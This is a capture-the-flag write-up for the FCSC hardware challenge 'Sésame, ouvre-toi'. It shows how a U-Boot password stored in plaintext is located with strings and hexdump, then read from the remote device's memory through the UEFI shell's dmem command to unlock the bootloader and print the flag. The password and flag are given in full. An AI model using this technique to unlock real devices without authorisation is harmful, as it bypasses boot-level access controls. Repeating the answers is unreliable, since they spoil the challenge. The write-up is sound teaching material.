Writeup by leraton for Sésame, ouvre-toi

hardware

April 15, 2024

Introduction

We have access to a bootloader and a remote shell to the device. The bootloader doesn’t contain the flag but enable us to know the structure of the remote device. By connecting to the device, we can see that we have U-boot which launches with a 10 sec timer to type the password without which U-boot launches a UEFI shell. We can therefore assume that U-boot is stored at the beginning of memory:

$ nc challenges.france-cybersecurity-challenge.fr 2300


U-Boot 2023.07.02 (Jul 11 2023 - 15:20:44 +0000)

DRAM:  24 MiB
Core:  41 devices, 10 uclasses, devicetree: board
Loading Environment from nowhere... OK
In:    pl011@9000000
Out:   pl011@9000000
Err:   pl011@9000000
Autoboot in 10 seconds
## Booting kernel from Legacy Image at 40200000 ...
   Image Name:   EFI Shell
   Created:      1980-01-01   0:00:00 UTC
   Image Type:   AArch64 EFI Firmware Kernel Image (no loading done) (uncompressed)
   Data Size:    1028096 Bytes = 1004 KiB
   Load Address: 00000000
   Entry Point:  00000000
   Verifying Checksum ... OK
   XIP Kernel Image (no loading done)
                                                                                                                                                            ^No EFI system partition
No EFI system partition
Failed to persist EFI variables
## Transferring control to EFI (at address 40200040) ...
Booting /MemoryMapped(0x0,0x40200040,0xfb000)
UEFI Interactive Shell v2.2
EDK II
UEFI v2.100 (Das U-Boot, 0x20230700)
map: No mapping found.

Shell>

The given bootloader is configured with the password FAKEPASSWORD so to start, I wanted to see if the password was stored in clear. To do so I run the following command:

$ strings bootloader.bin | grep -i FAKEPASSWORD
FAKEPASSWORD

As we can see, the string FAKEPASSWORD is stored in clear into the bootloader.

Finding the password offset

Now we can find the position of the password into the bootloader.
To do so, I used the following command:

$ hexdump -C bootloader.bin | grep -i EPASSW
00064ef0  41 4b 45 50 41 53 53 57  4f 52 44 00 48 55 53 48  |AKEPASSWORD.HUSH|

I had to truncate the password a bit to have a result. Now we know that the password is stored at 0x64eef. Here is a better view of it:

$ hexdump -C bootloader.bin -s 0x64ee0 -n 0x80
00064ee0  6c 20 25 70 20 28 65 72  72 3d 25 64 29 0a 00 46  |l %p (err=%d)..F|
00064ef0  41 4b 45 50 41 53 53 57  4f 52 44 00 48 55 53 48  |AKEPASSWORD.HUSH|
00064f00  5f 56 45 52 53 49 4f 4e  00 30 2e 30 31 00 62 6f  |_VERSION.0.01.bo|
00064f10  6f 74 64 65 6c 61 79 00  6b 65 72 6e 65 6c 2d 6f  |otdelay.kernel-o|
00064f20  66 66 73 65 74 00 6b 65  72 6e 61 64 64 72 00 72  |ffset.kernaddr.r|
00064f30  6f 6f 74 64 69 73 6b 2d  6f 66 66 73 65 74 00 72  |ootdisk-offset.r|
00064f40  6f 6f 74 61 64 64 72 00  62 6f 6f 74 73 65 63 75  |ootaddr.bootsecu|
00064f50  72 65 00 23 23 20 45 72  72 6f 72 3a 20 53 65 63  |re.## Error: Sec|
00064f60

Finding the real password

Now that we know where the password is stored in memory, we can find the real password on the remote device.
To do so we need to connect to the remote device and display de memory at offset 0x64eef because we know that the instruction pointer start at 0 which is also the beginning of the bootloader.

$ nc challenges.france-cybersecurity-challenge.fr 2300


U-Boot 2023.07.02 (Jul 11 2023 - 15:20:44 +0000)

DRAM:  24 MiB
Core:  41 devices, 10 uclasses, devicetree: board
Loading Environment from nowhere... OK
In:    pl011@9000000
Out:   pl011@9000000
Err:   pl011@9000000
Autoboot in 10 seconds
## Booting kernel from Legacy Image at 40200000 ...
   Image Name:   EFI Shell
   Created:      1980-01-01   0:00:00 UTC
   Image Type:   AArch64 EFI Firmware Kernel Image (no loading done) (uncompressed)
   Data Size:    1028096 Bytes = 1004 KiB
   Load Address: 00000000
   Entry Point:  00000000
   Verifying Checksum ... OK
   XIP Kernel Image (no loading done)

No EFI system partition
No EFI system partition
Failed to persist EFI variables
## Transferring control to EFI (at address 40200040) ...
Booting /MemoryMapped(0x0,0x40200040,0xfb000)

UEFI Interactive Shell v2.2
EDK II
UEFI v2.100 (Das U-Boot, 0x20230700)
map: No mapping found.

Shell> dmem 0x64eef 0x10
Memory Address 0000000000064EEF 16 Bytes
  00064EEF: 62 33 73 74 66 72 31 65-6E 64 39 38 00 48 55 53  *b3stfr1end98.HUS*

Now we know that the password is b3stfr1end98.

Printing the flag

In order to print the flag, we just need to stop the boot of the UEFI and print the u-boot environment variables:

$ nc challenges.france-cybersecurity-challenge.fr 2300


U-Boot 2023.07.02 (Jul 11 2023 - 15:20:44 +0000)

DRAM:  24 MiB
Core:  41 devices, 10 uclasses, devicetree: board
Loading Environment from nowhere... OK
In:    pl011@9000000
Out:   pl011@9000000
Err:   pl011@9000000
Autoboot in 10 seconds
b3stfr1end98
=>
=> printenv
printenv
arch=arm
baudrate=115200
board=qemu-arm
board_name=qemu-arm
boot_targets=qfw usb scsi virtio nvme dhcp
bootargs=-delay 0
bootcmd=bootm 0x40200000; poweroff
bootdelay=10
cpu=armv8
fdt_addr=0x40000000
fdt_high=0xffffffff
fdtcontroladdr=415cf9b0
initrd_high=0xffffffff
kernel_addr_r=0x40400000
loadaddr=0x40200000
printflag=hash sha256 40904000 1000 flaghash; echo FCSC{$flaghash};
pxefile_addr_r=0x40300000
ramdisk_addr_r=0x44000000
scriptaddr=0x40200000
stderr=pl011@9000000
stdin=pl011@9000000
stdout=pl011@9000000
vendor=emulation

Environment size: 533/1020 bytes
=> run printflag
run printflag
sha256 for 40904000 ... 40904fff ==> 696af8a11f9f414da990db912e4ab6ed77754ce8f1f659bc861867f28e38e966
FCSC{696af8a11f9f414da990db912e4ab6ed77754ce8f1f659bc861867f28e38e966}

The flag is therefore FCSC{696af8a11f9f414da990db912e4ab6ed77754ce8f1f659bc861867f28e38e966}